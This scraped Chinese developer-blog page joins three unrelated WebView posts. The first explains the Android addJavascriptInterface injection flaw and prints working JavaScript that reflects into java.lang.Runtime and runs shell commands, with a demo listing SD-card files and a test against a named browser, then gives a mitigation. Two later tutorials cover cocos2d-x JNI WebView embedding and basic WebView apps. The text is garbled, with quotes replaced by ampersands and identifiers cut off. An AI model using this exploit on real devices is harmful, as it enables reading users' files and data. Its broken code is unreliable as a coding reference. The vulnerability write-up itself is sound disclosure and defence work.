如何嵌入在android webview js上的WebView一个YouTube片段

Android WebView的Js对象注入漏洞解决方案
1&使用场景
2&漏洞描述
3&漏洞证明
4&解决方案
5&一些思考
最近在做一个项目过程中,发现了一个很严重的安全漏洞,这个漏洞是乌云平台报告出来的。
1,使用场景
我们很多时候要使用WebView来展示一个网页,现在很多应用为了做到服务端可控,很多结果页都是网页的,而不是本地实现,这样做有很多好处,比如界面的改变不需要重新发布新版本,直接在Server端修改就行了。用网页来展示界面,通常情况下都或多或少都与Java代码有交互,比如点击网页上面的一个按钮,我们需要知道这个按钮点击事件,或者我们要调用某个方法,让页面执行某种动作,为了实现这些交互,我们通常都是使用JS来实现,而WebView已经提供了这样的方法,具体用法如下:
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), &jsInterface&);
我们向WebView注册一个名叫&jsInterface&的对象,然后在JS中可以访问到jsInterface这个对象,就可以调用这个对象的一些方法,最终可以调用到Java代码中,从而实现了JS与Java代码的交互。
我们一起来看看关于addJavascriptInterface方法在Android官网的描述:
&&This&method&can&be&used&to&allow&JavaScript&to&control&the&host&application.&This&is&a&powerful&feature,&but&also&presents&a&security&risk&for&applications&targeted&to&API&level&JELLY_BEAN&or&below,&because&JavaScript&could&use&reflection&to&access&an&injected&object's&public&fields.&Use&of&this&method&in&a&WebView&containing&untrusted&content&could&allow&an&attacker&to&manipulate&the&host&application&in&unintended&ways,&executing&Java&code&with&the&permissions&of&the&host&application.&Use&extreme&care&when&using&this&method&in&a&WebView&which&could&contain&untrusted&content.
&&JavaScript&interacts&with&Java&object&on&a&private,&background&thread&of&this&WebView.&Care&is&therefore&required&to&maintain&thread&safety.
&&The&Java&object's&fields&are&not&accessible.
简单地说,就是用addJavascriptInterface可能导致不安全,因为JS可能包含恶意代码。今天我们要说的这个漏洞就是这个,当JS包含恶意代码时,它可以干任何事情。
2,漏洞描述
通过JavaScript,可以访问当前设备的SD卡上面的任何东西,甚至是联系人信息,短信等。这很恶心吧,嘎嘎。好,我们一起来看看是怎么出现这样的错误的。可以去看看乌云平台上的这个bug描述:猛点这里
1,WebView添加了JavaScript对象,并且当前应用具有读写SDCard的权限,也就是:android.permission.WRITE_EXTERNAL_STORAGE
2,JS中可以遍历window对象,找到存在&getClass&方法的对象的对象,然后再通过反射的机制,得到Runtime对象,然后调用静态方法来执行一些命令,比如访问文件的命令.
3,再从执行命令后返回的输入流中得到字符串,就可以得到文件名的信息了。然后想干什么就干什么,好危险。核心JS代码如下:
function execute(cmdArgs)
for (var obj in window) {
if (&getClass& in window[obj]) {
alert(obj);
window[obj].getClass().forName(&java.lang.Runtime&)
.getMethod(&getRuntime&,null).invoke(null,null).exec(cmdArgs);
3,漏洞证明
举例一:为了证明这个漏洞,写了一个demo来说明。我就只是加载一个包含恶意JS代码的本地网页,HTML其代码如下:
&meta http-equiv=&Content-Type& content=&text/ charset=UTF-8&&
function getContents(inputStream)
var contents = &&+i;
var b = inputStream.read();
var i = 1;
while(b != -1) {
var bString = String.fromCharCode(b);
contents += bS
contents += &\n&
b = inputStream.read();
function execute(cmdArgs)
for (var obj in window) {
console.log(obj);
if (&getClass& in window[obj]) {
alert(obj);
return window[obj].getClass().forName(&java.lang.Runtime&).
getMethod(&getRuntime&,null).invoke(null,null).exec(cmdArgs);
var p = execute([&ls&,&/mnt/sdcard/&]);
document.write(getContents(p.getInputStream()));
&script language=&javascript&&
function onButtonClick()
// Call the method of injected object from Android source.
var text = jsInterface.onButtonClick(&从JS中传递过来的文本!!!&);
alert(text);
function onImageClick()
//Call the method of injected object from Android source.
var src = document.getElementById(&image&).
var width = document.getElementById(&image&).
var height = document.getElementById(&image&).
// Call the method of injected object from Android source.
jsInterface.onImageClick(src, width, height);
&p&点击图片把URL传到Java代码&/p&
&img class=&curved_box& id=&image&
onclick=&onImageClick()&
width=&328&
height=&185&
src=/uploadfile/404.jpg&
onerror=&this.src='background_chl.jpg'&/&
&button type=&button& onclick=&onButtonClick()&&与Java代码交互&/button&
这段HTML的运行效果如下:
图一:期望运行结果图
上图中,点击按钮后,JS中传递&一段文本到Java代码,显示一下个toast,点击图片后,把图片的URL,width,height传到Java层,也用toast显示出来。
要实现这样的功能,就需要注Java对象。
简单说明一下
1,请看execute()这个方法,它遍历所有window的对象,然后找到包含getClass方法的对象,利用这个对象的类,找到java.lang.Runtime对象,然后调用&getRuntime&静态方法方法得到Runtime的实例,再调用exec()方法来执行某段命令。
2,getContents()方法,从流中读取内容,显示在界面上。
3,关键的代码就是以下两句
return window[obj].getClass().forName(&java.lang.Runtime&).
getMethod(&getRuntime&,null).invoke(null,null).exec(cmdArgs);
Java代码实现如下:
mWebView = (WebView) findViewById(R.id.webview);
mWebView.getSettings().setJavaScriptEnabled(true);
mWebView.addJavascriptInterface(new JSInterface(), &jsInterface&);
mWebView.loadUrl(&file:///android_asset/html/test.html&);
需要添加的权限:
&uses-permission android:name=&android.permission.INTERNET&/&
&uses-permission android:name=&android.permission.ACCESS_NETWORK_STATE& /&
&uses-permission android:name=&android.permission.WRITE_EXTERNAL_STORAGE& /&
当点击LOAD菜单后,运行截图如下:(理论上应该出现图一界面)
图二:实际运行结果,列出了SDCard中的文件
举例二:360浏览器也存在这个问题,我测试的系统是android&4.0.2,360浏览器版本是:4.8.7
在浏览器输入框中输入:/jsobj.html,然后前往,它会出现如下的界面
图三:360浏览器运行结果
说明:其中searchBoxJavaBridge_不是360注入的对象,而是WebView内部注入的,这是在3.0以后的Android系统上添加的。
在关闭这个对话框之后,它会列出当前SDCard上面的所有文件列表,如下图所示
图四:错误结果
4,解决方案
1,Android&4.2以上的系统
在Android&4.2以上的,google作了修正,通过在Java的远程方法上面声明一个@JavascriptInterface,如下面代码:&
class JsObject {
@JavascriptInterface
public String toString() { return &injectedObject&; }
webView.addJavascriptInterface(new JsObject(), &injectedObject&);
webView.loadData(&&, &text/html&, null);
webView.loadUrl(&javascript:alert(injectedObject.toString())&);
2,Android&4.2以下的系统
这个问题比较难解决,但也不是不能解决。
首先,我们肯定不能再调用addJavascriptInterface方法了。关于这个问题,最核心的就是要知道JS事件这一个动作,JS与Java进行交互我们知道,有以下几种,比prompt,&alert等,这样的动作都会对应到WebChromeClient类中相应的方法,对于prompt,它对应的方法是onJsPrompt方法,这个方法的声明如下:
public boolean onJsPrompt(WebView view, String url, String message,
String defaultValue, JsPromptResult result)
通过这个方法,JS能把信息(文本)传递到Java,而Java也能把信息(文本)传递到JS中,通知这个思路我们能不能找到解决方案呢?
经过一番尝试与分析,找到一种比较可行的方案,请看下面几个小点:
【1】让JS调用一个Javascript方法,这个方法中是调用prompt方法,通过prompt把JS中的信息传递过来,这些信息应该是我们组合成的一段有意义的文本,可能包含:特定标识,方法名称,参数等。在onJsPrompt方法中,我们去解析传递过来的文本,得到方法名,参数等,再通过反射机制,调用指定的方法,从而调用到Java对象的方法。
【2】关于返回值,可以通过prompt返回回去,这样就可以把Java中方法的处理结果返回到Js中。
【3】我们需要动态生成一段声明Javascript方法的JS脚本,通过loadUrl来加载它,从而注册到html页面中,具体的代码如下:&
javascript:(function JsAddJavascriptInterface_(){
if (typeof(window.jsInterface)!='undefined') {
console.log('window.jsInterface_js_interface_name is exist!!');}
window.jsInterface = {
onButtonClick:function(arg0) {
return prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onButtonClick',args:[arg0]}));
onImageClick:function(arg0,arg1,arg2) {
prompt('MyApp:'+JSON.stringify({obj:'jsInterface',func:'onImageClick',args:[arg0,arg1,arg2]}));
1,上面代码中的jsInterface就是要注册的对象名,它注册了两个方法,onButtonClick(arg0)和onImageClick(arg0,&arg1,&arg2),如果有返回值,就添加上return。
2,prompt中是我们约定的字符串,它包含特定的标识符MyApp:,后面包含了一串JSON字符串,它包含了方法名,参数,对象名等。
3,当JS调用onButtonClick或onImageClick时,就会回调到Java层中的onJsPrompt方法,我们再解析出方法名,参数,对象名,再反射调用方法。
4,window.jsInterface这表示在window上声明了一个Js对象,声明方法的形式是:方法名:function(参数1,参数2)&
5,一些思考
以下是在实现这个解决方案过程中遇到的一些问题和思考:
【1】生成Js方法后,加载这段Js的时机是什么?
刚开始时在当WebView正常加载URL后去加载Js,但发现会存在问题,如果当WebView跳转到下一个页面时,之前加载的Js就可能无效了,所以需要再次加载。这个问题经过尝试,需要在以下几个方法中加载Js,它们是WebChromeClient和WebViewClient的方法:
& onLoadResource
& doUpdateVisitedHistory
& onPageStarted
& onPageFinished
& onReceivedTitle
& onProgressChanged
目前测试了这几个地方,没什么问题,这里我也不能完全确保没有问题。
【2】需要过滤掉Object类的方法
由于通过反射的形式来得到指定对象的方法,他会把基类的方法也会得到,最顶层的基类就是Object,所以我们为了不把getClass方法注入到Js中,所以我们需要把Object的公有方法过滤掉。这里严格说来,应该有一个需要过滤方法的列表。目前我的实现中,需要过滤的方法有:
&getClass&,
&hashCode&,
&notifyAll&,
&toString&,
【3】通过手动loadUrl来加载一段js,这种方式难道js中的对象就不在window中吗?也就是说,通过遍历window的对象,不能找到我们通过loadUrl注入的js对象吗?
关于这个问题,我们的方法是通过Js声明的,通过loadUrl的形式来注入到页面中,其实本质相当于把我们这动态生成的这一段Js直接写在Html页面中,所以,这些Js中的window中虽然包含了我们声明的对象,但是他们并不是Java对象,他们是通过Js语法声明的,所以不存在getClass之类的方法。本质上他们是Js对象。
【4】在Android&3.0以下,系统自己添加了一个叫searchBoxJavaBridge_的Js接口,要解决这个安全问题,我们也需要把这个接口删除,调用removeJavascriptInterface方法。这个searchBoxJavaBridge_好像是跟google的搜索框相关的。
【5】在实现过程中,我们需要判断系统版本是否在4.2以下,因为在4.2以上,Android修复了这个安全问题。我们只是需要针对4.2以下的系统作修复。
转载请注明出处,谢谢大家!!!
原文:http://blog.csdn.net/leehong2005/article/details/
顶一下(0) 踩一下(0)
热门标签:2180人阅读
这几天想要在cocos2d中嵌入web网页,找了各种方法后最正确的做法好像只有通过jni从cocos2d-x的c++代码调用java函数,由于对java和jni都知之甚少,走了不少弯路,也犯了不少错误,现将我的过程和需要注意的地方做个记录,以方便后面使用的朋友查阅。
本文参照了Vincent&Chou的个人博客文章:&和&
1.基本说明&
要通过jni从cocos2d-x的c++代码调用java函数,要使用到cocos2d-x中有一个JniHelper类。
头文件:#include&&platform/android/jni/JniHelper.h&
&&&&&&&需要使用的接口如下:
const char *className, const char *methodName, const char *paramCode);
static bool getMethodInfo(JniMethodInfo &methodinfo, const char *className, const char *methodName, const char *paramCode);
每个参数的意义和使用方法:
//函数信息结构体
JniMethodI
bool isHave = JniHelper::getStaticMethodInfo(minfo,/*JniMethodInfo的引用*/
&com/omega/MyApp&,/*类的路径*/
&getJavaActivity&,/*函数名*/
&()Ljava/lang/O&);/*函数类型简写*/
jobject activityO
if (isHave)
//CallStaticObjectMethod调用java函数,并把返回值赋值给activityObj
activityObj = minfo.env-&CallStaticObjectMethod(minfo.classID, minfo.methodID);
这里重点要说明一下(&com/omega/MyApp&,/*类的路径*/),这个类的路径,我弄了很久才搞明白,它其实是你在创建android时使用的包名,比如com.xxx.xxx,如果你不知道或者忘记了是什么可以打开&proj.android目录下的AndroidManifest.xml文件查看,&package=&com.cocos2dx.example&&中的&&com.cocos2dx.example&&就是你的包名。下面继续
&?xml&version=&1.0&&encoding=&utf-8&?&
&manifest&xmlns:android=&/apk/res/android&
&&&&&&package=&com.cocos2dx.example&
&&&&&&android:versionCode=&1&
&&&&&&android:versionName=&1.0&&
源文件是放在:youProject\proj.android\src\com\cocos2dx\example下,比如我的JAVA函数是写在ForAndroid.java文件当,那么最终这里类的路径就是:&&com/cocos2dx/example/ForAndroid&&.
2.新建一个类CCWebView继承&CCObject
#include&&cocos2d.h&
USING_NS_CC;
class&CCWebView:&public&CCObject
&&&CCWebView&();
&~&CCWebView&();
&&&&CREATE_FUNC(CCWebView);
&&&&bool&init();
&&&&&*&&&@brief&&显示WebView
&&&&&*&&&@param&&url&&&&&地址
&&&&&*&&&&@param&&x&&&x位置
&&&&&*&&&@param&&y&&&y位置(左上的位置,坐标系为左上0)
&&&&&*&&&&@param&&width&&&宽度
&&&&&*&&&&@param&&height&&高度
&&&&void&showWebView(const&char*&url,&float&x,&float&y,&float&width,&float&height);
&&&&void&updateURL(const&char*&url);
&&&&void&removeWebView();
&.cpp文件:
#if&(CC_TARGET_PLATFORM&==&CC_PLATFORM_ANDROID)
#include&&jni.h&
#include&&android/log.h&
#include&&platform/android/jni/JniHelper.h&
#define&&JAVA_PACK_NAME&&com/cocos2dx/example/DianXinForAndroid&
CCWebView::&CCWebView&()
CCWebView::~&CCWebView&()
bool&CCWebView::init()
&&&return&
void&CCWebView::showWebView(const&char*&url,&float&x,&float&y,&float&width,&float&height)
#if&(CC_TARGET_PLATFORM&==&CC_PLATFORM_ANDROID)
&//1.&获取activity静态对象
&JniMethodInfo&
&&&&&CCLog(&1.Get&JniMethodInfo!&);
&//getStaticMethodInfo&次函数返回一个bool值表示是否找到此函数
&bool&isHave&=&JniHelper::getStaticMethodInfo(minfo,
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&JAVA_PACK_NAME,
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&getJavaActivity&,
&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&&()Ljava/lang/O&);
&&&&CCLog(&2.JniHelper::getStaticMethodInfo!&);
&jobject&activityO
&&&&if&(isHave)
&&&&&&&activityObj&=&minfo.env-&CallStaticObjectMethod(minfo.classID,&minfo.methodID);
&&&CCLog(&3.CallStaticObjectMethod!&);
&//2.&查找displayWebView接口,并用jobj调用
&&&&isHave&=&JniHelper::getMethodInfo(minfo,JAVA_PACK_NAME,&displayWebView&,&&(IIII)V&);
&&&&if&(!isHave)
&&&&&&&CCLog(&jni:displayWebView&函数不存在&);
&&&&&&&//调用此函数
&&&&&jint&jX&=&(int)x;
&&&&&&&jint&jY&=&(int)y;
&&&&&&&jint&jWidth&=&(int)
&&&&&&&jint&jHeight&=&(int)
&&&&&minfo.env-&CallVoidMethod(activityObj,&minfo.methodID,&jX,&jY,&jWidth,&jHeight);
&&&CCLog(&4.Find&displayWebView!&);
&&&&//3.&查找updateURL接口,并用jobj调用
&isHave&=&JniHelper::getMethodInfo(minfo,JAVA_PACK_NAME,&updateURL&,&&(Ljava/lang/S)V&);
&&&if&(!isHave)
&&&&&&&CCLog(&jni:updateURL&函数不存在&);
&&&&&&&//调用此函数
&&&&&jstring&jmsg&=&minfo.env-&NewStringUTF(url);
&&&&&minfo.env-&CallVoidMethod(activityObj,&minfo.methodID,&jmsg);
&&&CCLog(&4.Find&updateURL!&);
void&CCWebView::updateURL(const&char*&url)
#if&(CC_TARGET_PLATFORM&==&CC_PLATFORM_ANDROID)
&&&//1.&获取activity静态对象
&JniMethodInfo&
&&&&//getStaticMethodInfo&次函数返回一个bool值表示是否找到此函数
&bool&isHave&=&JniHelper::getStaticMethodInfo(minfo,
&&&&&JAVA_PACK_NAME,
&&&&&&getJavaActivity&,
&&&&&&&()Ljava/lang/O&);
&&&&jobject&activityO
&&&&if&(isHave)
&&&&&&&activityObj&=&minfo.env-&CallStaticObjectMethod(minfo.classID,&minfo.methodID);
&&&//2.&查找updateURL接口,并用jobj调用
&isHave&=&JniHelper::getMethodInfo(minfo,JAVA_PACK_NAME,&updateURL&,&&(Ljava/lang/S)V&);
&&&if&(!isHave)
&&&&&&&CCLog(&jni:updateURL&函数不存在&);
&&&&&&&//调用此函数
&&&&&jstring&jmsg&=&minfo.env-&NewStringUTF(url);
&&&&&minfo.env-&CallVoidMethod(activityObj,&minfo.methodID,&jmsg);
void&CCWebView::removeWebView()
#if&(CC_TARGET_PLATFORM&==&CC_PLATFORM_ANDROID)
&&&&//1.&获取activity静态对象
&JniMethodInfo&
&&&&//getStaticMethodInfo&次函数返回一个bool值表示是否找到此函数
&bool&isHave&=&JniHelper::getStaticMethodInfo(minfo,
&&&&&JAVA_PACK_NAME,
&&&&&&getJavaActivity&,
&&&&&&&()Ljava/lang/O&);
&&&&jobject&activityO
&&&&if&(isHave)
&&&&&&&activityObj&=&minfo.env-&CallStaticObjectMethod(minfo.classID,&minfo.methodID);
&&&//2.&查找updateURL接口,并用jobj调用
&isHave&=&JniHelper::getMethodInfo(minfo,JAVA_PACK_NAME,&removeWebView&,&&()V&);
&&&&if&(!isHave)
&&&&&&&CCLog(&jni:updateURL&函数不存在&);
&&&&&&&//调用此函数
&&&&&minfo.env-&CallVoidMethod(activityObj,&minfo.methodID);
3.&在ForAndroid.java文件里写上接口就可以了
package&com.cocos2dx.
import&org.cocos2dx.lib.Cocos2dxA
import&android.os.B
import&android.app.A
import&android.webkit.WebS
import&android.webkit.WebV
import&android.webkit.WebViewC
import&android.widget.LinearL
import&android.widget.LinearLayout.LayoutP
public&class&ForAndroid&extends&Cocos2dxActivity{
&&&&public&static&Activity&actI
&private&LinearLayout&m_webL
&&&private&WebView&m_webV
&&&&protected&void&onCreate(Bundle&savedInstanceState){
&&&&&super.onCreate(savedInstanceState);
&&&&&&&&actInstance&=&
&&&&&//web&layout
&&&&&&&m_webLayout&=&new&LinearLayout(this);
&&&&&&&actInstance.addContentView(m_webLayout,
&&&&&&&&&&&&&&&&new&LayoutParams(LayoutParams.FILL_PARENT,LayoutParams.FILL_PARENT));
&&&&static&{
&&&&&&&&&System.loadLibrary(&game&);
&&&&public&static&Object&getJavaActivity()
&&&&&&&return&actI
&&&&//WebView
&&&public&void&displayWebView(final&int&x,&final&int&y,&final&int&width,&final&int&height)
&&&//&&Log.e(&Vincent&,&&showWebView&);
&&&&&&&&this.runOnUiThread(new&Runnable()
&&&&&&&&&&&public&void&run()
&&&&&&&&&&{
&&&//&&&&&&&&&&LinearLayout&layout&=&new&LinearLayout(actInstance);
&&&&//&&&&&&&&&&actInstance.addContentView(layout,&new&LayoutParams(LayoutParams.FILL_PARENT,LayoutParams.FILL_PARENT));
&&&&&&&&&&&&&&&&m_webView&=&new&WebView(actInstance);
&&&&&&&&&&&&&&&m_webLayout.addView(m_webView);
&&&&&&&&&&&&
&&&&&&&&&&&&&&&&LinearLayout.LayoutParams&linearParams&=&(LinearLayout.LayoutParams)&m_webView.getLayoutParams();
&&&&&&&&&&&&&&&linearParams.leftMargin&=&x;
&&&&&&&&&&&&&&&&linearParams.topMargin&=&y;
&&&&&&&&&&&&&linearParams.width&=&
&&&&&&&&&&&&&linearParams.height&=&
&&&&&&&&&&&&&&&m_webView.setLayoutParams(linearParams);
&&&&&&&&&&&&&&&&m_webView.setBackgroundColor(0);
&&&&&&&&&&&&&&&&m_webView.getSettings().setCacheMode(WebSettings.LOAD_NO_CACHE);
&&&&&&&&&&&&&&&&m_webView.getSettings().setAppCacheEnabled(false);
&&&&&&&&&&&&&&//m_webView.setBackgroundResource(R.drawable.yourImage);
&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&m_webView.setWebViewClient(new&WebViewClient(){
&&&&&&&&&&&&&&&&&@Override
&&&&&&&&&&&&&&&&&&&public&boolean&shouldOverrideUrlLoading(WebView&view,&String&url){
&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&&&&&&&&&return&
&&&&&&&&&&&&&&&&&&&&&&&&&&
&&&&&&&&&&&&&&&&&&&&}
&&&&&&&&&&&&&&&});
&&&&&&&&&&&&
&&&&&&&&&&&&}
&&&&&&&});
&&&public&void&updateURL(final&String&url)
&&&//&&Log.e(&Vincent&,&&updateURL&+url);
&&&&&&&&this.runOnUiThread(new&Runnable()
&&&&&&&&&&&public&void&run()&{
&&&&&&&&&&&&&m_webView.loadUrl(url);
&&&&&&&&&}
&&&&&&&});
&&&public&void&removeWebView()
&&&//&&Log.e(&Vincent&,&&removeWebView&);
&&&&&&&&this.runOnUiThread(new&Runnable()
&&&&&&&&&&&public&void&run()
&&&&&&&&&&{
&&&&&&&&&&&&&&&m_webLayout.removeView(m_webView);
&&&&&&&&&&&&&&m_webView.destroy();
&&&&&&&&&&&&}
&&&&&&&});
4.我遇到过的问题:在用cygwin编译cocos2d-x文件的时候在Android.mk里面添加了在目录下自动查找.cpp文件然后进行编译的方式。结果在真机上运行时就出错,错误如下。后来删除Android.mk的自动查找.cpp,然后自己手动添加cpp文件,编译运行就正常,说明在自动获取cpp文件时有问题。
system_process&InputDispatcher&
channel&StatusBarView&(server)~&Consumer&closed&input&channel&or&an&error&occurred.&events=08
channel&StatusBarView&(server)~&Channel&is&unrecoverably&broken&and&will&be&disposed!
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:449627次
积分:6224
积分:6224
排名:第1211名
原创:160篇
转载:251篇
评论:70条
(1)(1)(2)(2)(12)(3)(1)(7)(12)(13)(9)(24)(22)(5)(12)(11)(2)(5)(4)(9)(2)(2)(2)(10)(7)(15)(2)(9)(26)(9)(4)(18)(8)(19)(12)(9)(19)(13)(16)(30)(15)(19)(4)今日学习任务:理解Android
Web Apps的运行机制,实现简单的包含Web View的应用程序
涉及的主要内容:1)
Android Web Apps的两种形式 2)Web View的创建和使用方法 &&&
1. Web Apps的两种形式
在Android中,Web Apps有两种形式供用户访问。一种就是用手机上的浏览器直接访问的网络应用程序,这种情况用户不需要额外安装其他应用,只要有浏览器就行;而另一种,则 是在用户的手机上安装客户端应用程序(.apk),并在此客户端程序中嵌入Web View来显示从服务器端下载下来的网页数据,比如新浪微博和人人网的客户端。对于前者来说,主要的工作是根据手机客户端的屏幕来调整网页的显示尺寸、比 例等;而后者需要单独开发基于Web View的Web app. 本篇主要是学习后者的开发。
& & &(图片来源于:)&
2. 怎样在Android应用程序中加入Web View?
2.1 先在layout文件中加入&WebView&元素
&WebView&xmlns:android=&&
&&&&android:id=&@+id/webview&
&&&&android:layout_width=&fill_parent&
&&&&android:layout_height=&fill_parent&/&
2.2 由于应用程序需要访问网络,所以需要在AndroidManifest.xml中请求网络权限的:
&uses-permissionandroid:name=&android.permission.INTERNET&/&
2.3 使用Web View:
myWebView = (WebView) findViewById(R.id.webview);
2.4 加载一个页面,可以用loadUrl()方法,例如:
myWebView.loadUrl(&&);
3. 在Web View 中使用JavaScript&
3.1 如果你加载到 Web View 中的网页使用了JavaScript,那么,需要在Websetting 中开启对JavaScript的支持,因为Web View 中默认的是JavaScript未启用。
WebSettings
webSettings = myWebView.getSettings();
webSettings.setJavaScriptEnabled(true);
3.2 将JavaScript与Android客户端代码进行绑定。
为什么要绑定呢? 可以看这个例子:如果JavaScript 代码想利用Android的代码来显示一个Dialog,而不用JavaScript的alert()方法,这时就需要在Android代码和 JavaScript代码间创建接口,这样在Android代码中实现显示对话框的方法,然后JavaScript调用此方法。
1)创建&Android代码和JavaScript代码的接口,即创建一个类,类中所写的方法将被JavaScript调用
publicclass
JavaScriptInterface {&
&&&&JavaScriptInterface(Context
&&&&&&&&mContext
&&&&publicvoid
showToast(String toast) {
&&&&&&&&Toast.makeText(mContext,
toast, Toast.LENGTH_SHORT).show();
2)通过调用addJavascriptInterface方法,把我们上面创建的接口类绑定与运行在Web
View上的JavaScript进行绑定。
webView.addJavascriptInterface(newJavaScriptInterface(this),&Android&);
3)现在,我们可以在html中的JavaScript部分调用showToast()方法了。
&scripttype=&text/javascript&&
&&&&function
showAndroidToast(toast) {
&&&&&&&&Android.showToast(toast);
&inputtype=&button&value=&Say
onClick=&showAndroidToast('Hello
Android!')&
4. 处理页面导航
当用户在Web View中点击页面上的超链接时, Android的默认行为是启动一个能处理URL的应用程序,通常情况下是启动默认的浏览器。而如果我们想用当前的Web View打开页面,则需要重载这个行为。这样我们就可以通过操作Web View的历史记录来向前和向后导航。
4.1 为Web View提供一个WebViewClient,从而在WebView中打开用户的链接。&如果我们想对加载页面有跟多的控制,可以继承并实现一个复杂的WebViewClient
myWebView.setWebViewClient(newWebViewClient());
privateclass
MyWebViewClient extends WebViewClient {
&&&&@Override
&&&&publicboolean
shouldOverrideUrlLoading(WebView view, String url) {
&&&&&&&&if(Uri.parse(url).getHost().equals(&&))
&&&&&&&&&&&&
&&&&&&&&&&&&returnfalse;
&&&&&&&&Intent
intent = newIntent(Intent.ACTION_VIEW,
Uri.parse(url));
&&&&&&&&startActivity(intent);
&&&&&&&&returntrue;
4.2 利用Web View的历史记录来实现页面navigate backword.
重载Activity中的onKeyDown方法,实现此功能:
&publicboolean
onKeyDown(intkeyCode,
KeyEvent event)
&&&&if((keyCode
== KeyEvent.KEYCODE_BACK) && myWebView.canGoBack() {
&&&&&&&&myWebView.goBack();
&&&&&&&&returntrue;
&&&&returnsuper.onKeyDown(keyCode,
5. 现在应用以上知识,实现一个简单的基于Web View的Android 应用程序
程序的功能主要是:当进入程序后,显示一个网页,此页面上有一个新闻超链接,用户点击超链接,在Web View中加载新闻的内容页面。
5.1 创建含有Web View的Activity:Home.java
android.app.A
android.os.B
android.view.KeyE
android.webkit.WebS
android.webkit.WebV
publicclass
Home extends Activity {
&&&&privateWebView
&&&&@Override
&&&&publicvoid
onCreate(Bundle icicle) {
&&&&&&&&super.onCreate(icicle);
&&&&&&&&setContentView(R.layout.main);
&&&&&&&&myWebView
= (WebView) findViewById(R.id.webview);
&&&&&&&&WebSettings
webSettings = myWebView.getSettings();
&&&&&&&&webSettings.setJavaScriptEnabled(true);
&&&&&&&&myWebView.addJavascriptInterface(newmyJavaScriptInterface(),
&&&&&&&&myWebView.loadUrl(&&);
&&&&finalclassmyJavaScriptInterface
&&&&&&&&myJavaScriptInterface()
&&&&&&&&publicvoid
LoadContentPage() {
&&&&&&&&&&&&myWebView.loadUrl(&&);
&&&&@Override
&&&&publicboolean
onKeyDown(intkeyCode,
KeyEvent event)
&&&&&&&&if((keyCode
== KeyEvent.KEYCODE_BACK) && myWebView.canGoBack()){
&&&&&&&&&&&&myWebView.goBack();
&&&&&&&&&&&&returntrue;
&&&&&&&&returnsuper.onKeyDown(keyCode,
5.2 在Android项目文件下的assets目录下创建一个名为first.html的页面作为首页
&&&&&&&&&body&
&&&&&&&&&&&&
&&&&&&&&&&&&&aonClick=&window.myJS.LoadContentPage()&style=&text-decoration:
underline&&
&&&&&&&&&&&&Google+
is now under testing!
&&&&&&&&&&&&&/a&
&&&&&&&&&/body&
5.3&在Android项目文件下的assets目录下创建一个名为second.html的页面作为内容页
html PUBLIC &-//W3C//DTD HTML 4.01 Transitional//EN& &&&
&metahttp-equiv=&Content-Type&content=&text/
charset=ISO-8859-1&&
&title&Google+
is under testing&/title&
Google+
is in limited Field Trial Right now, we're testing with a small number of people,
it won't be long before the Google+ project is ready for everyone.
us your email address and we'll make sure you're the first to know when we're ready to invite more people.
5.4 运行程序,测试本文转自:
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
访问:361155次
积分:4820
积分:4820
排名:第1958名
原创:104篇
转载:10篇
评论:431条
阅读:4039
文章:24篇
阅读:98342
(1)(1)(2)(1)(8)(1)(5)(1)(1)(3)(2)(3)(3)(3)(15)(4)(4)(2)(2)(2)(8)(6)(8)(3)(6)(3)(2)(2)(6)(5)(1)(2)(1)

我要回帖

更多关于 android webview js 的文章

 

随机推荐